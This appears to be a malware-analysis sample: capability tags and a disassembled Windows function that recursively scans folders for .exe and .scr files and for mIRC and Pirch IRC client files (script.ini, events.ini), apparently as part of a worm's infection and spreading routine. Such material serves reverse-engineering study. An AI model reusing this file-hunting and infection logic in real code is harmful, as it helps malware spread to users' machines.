Function at 0x403030
Capabilities:
Enumerate files on windows
Enumerate files recursively
Get common file path

Disassembly:
sub esp, 0x618
push ebx
push ebp
mov ebp, dword [esp + 0x624]
push esi
push edi
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
xor ebx, ebx
mov byte [esp + 0x11], bl
mov esi, 0x40c144
mov al, byte [ecx + ebp - 1]
mov byte [esp + 0x10], al
lea eax, [esp + 0x10]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x403088
cmp cl, bl
je 0x403084
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x403088
add eax, 2
add esi, 2
cmp cl, bl
jne 0x403064
xor eax, eax
jmp 0x40308d
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x4030a0
push ebp
push 0x40c140
push ebp
call fcn.004037a4
add esp, 0xc
push ebp
lea eax, [esp + 0x438]
push str._s.
push eax
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x24], ebx
mov esi, 1
call fcn.004037a4
add esp, 0xc
lea ecx, [esp + 0x38]
lea edx, [esp + 0x434]
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x4033ee
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
cmp esi, 1
jne 0x4033ea
lea eax, [esp + 0x64]
lea ecx, [esp + 0x1dc]
push eax
push ebp
push str._s_s
push ecx
call fcn.004037a4
mov eax, dword [esp + 0x48]
add esp, 0x10
cmp eax, 0x10
jne 0x4031d3
mov esi, 0x40c134
lea eax, [esp + 0x64]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x403147
cmp cl, bl
je 0x403143
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x403147
add eax, 2
add esi, 2
cmp cl, bl
jne 0x403123
xor eax, eax
jmp 0x40314c
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x4033d3
mov esi, 0x40c130
lea eax, [esp + 0x64]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x403181
cmp cl, bl
je 0x40317d
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x403181
add eax, 2
add esi, 2
cmp cl, bl
jne 0x40315d
xor eax, eax
jmp 0x403186
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x4033d3
lea eax, [esp + 0x178]
push 0x64
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea ecx, [esp + 0x178]
lea edx, [esp + 0x1dc]
push ecx
push edx
call fcn.004092c0
add esp, 8
test eax, eax
je 0x4033d3
lea eax, [esp + 0x1dc]
push eax
call fcn.00403030
add esp, 4
jmp 0x4033d3
mov esi, 1
lea ecx, [esp + 0x1c]
push esi
push ebx
push ebx
push ebx
push ecx
call dword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x403201
lea edx, [esp + 0x1c]
push edx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
lea ecx, [esp + 0x64]
push str..exe
push ecx
call fcn.00402b10
add esp, 4
push eax
call fcn.004092c0
add esp, 8
test eax, eax
je 0x403243
lea edx, [esp + 0x64]
push str..scr
push edx
call fcn.00402b10
add esp, 4
push eax
call fcn.004092c0
add esp, 8
test eax, eax
jne 0x4032d1
lea eax, [esp + 0x1dc]
push eax
call fcn.00401b50
add esp, 4
cmp eax, 3
jne 0x403268
lea ecx, [esp + 0x1dc]
push ecx
call fcn.004034f0
add esp, 4
mov ecx, dword [0x40cb94]
mov eax, dword [0x40cb90]
inc ecx
cmp ecx, eax
mov dword [0x40cb94], ecx
jne 0x4032d1
lea eax, [eax + eax*4]
mov dword [0x40cb94], ebx
lea eax, [eax + eax*4]
lea edx, [eax + eax*4]
lea eax, [esp + 0x3d0]
shl edx, 3
push edx
push 0x40c11c
push eax
call fcn.004037a4
push 5
call fcn.004023b0
add eax, 0x14
add esp, 0x10
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea ecx, [eax + eax*4]
shl ecx, 3
push ecx
call edi
push 5
call fcn.004023b0
add esp, 4
add eax, 0x14
mov dword [0x40cb90], eax
cmp dword [esp + 0x10], ebx
jne 0x403352
lea edx, [esp + 0x64]
push str.mirc32.exe
push edx
call fcn.004092c0
add esp, 8
test eax, eax
je 0x403345
lea eax, [esp + 0x64]
push str.mlink32.exe
push eax
call fcn.004092c0
add esp, 8
test eax, eax
je 0x403345
lea ecx, [esp + 0x64]
push str.mirc.ini
push ecx
call fcn.004092c0
add esp, 8
test eax, eax
je 0x403345
lea edx, [esp + 0x64]
push str.script.ini
push edx
call fcn.004092c0
add esp, 8
test eax, eax
je 0x403345
lea eax, [esp + 0x64]
push str.mirc.hlp
push eax
call fcn.004092c0
add esp, 8
test eax, eax
jne 0x403352
push ebp
call fcn.00402df0
add esp, 4
mov dword [esp + 0x10], esi
cmp dword [esp + 0x18], ebx
jne 0x4033d3
lea ecx, [esp + 0x64]
push str.pirch98.exe
push ecx
call fcn.004092c0
add esp, 8
test eax, eax
je 0x4033c6
lea edx, [esp + 0x64]
push str.pirch98.ini
push edx
call fcn.004092c0
add esp, 8
test eax, eax
je 0x4033c6
lea eax, [esp + 0x64]
push str.events.ini
push eax
call fcn.004092c0
add esp, 8
test eax, eax
je 0x4033c6
lea ecx, [esp + 0x64]
push str.pirch98.hlp
push ecx
call fcn.004092c0
add esp, 8
test eax, eax
je 0x4033c6
lea edx, [esp + 0x64]
push str.pirchvdo.exe
push edx
call fcn.004092c0
add esp, 8
test eax, eax
jne 0x4033d3
push ebp
call fcn.00402b50
add esp, 4
mov dword [esp + 0x18], esi
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x38]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
mov esi, eax
jmp 0x4030e9
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.DLL_FindClose]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x618
ret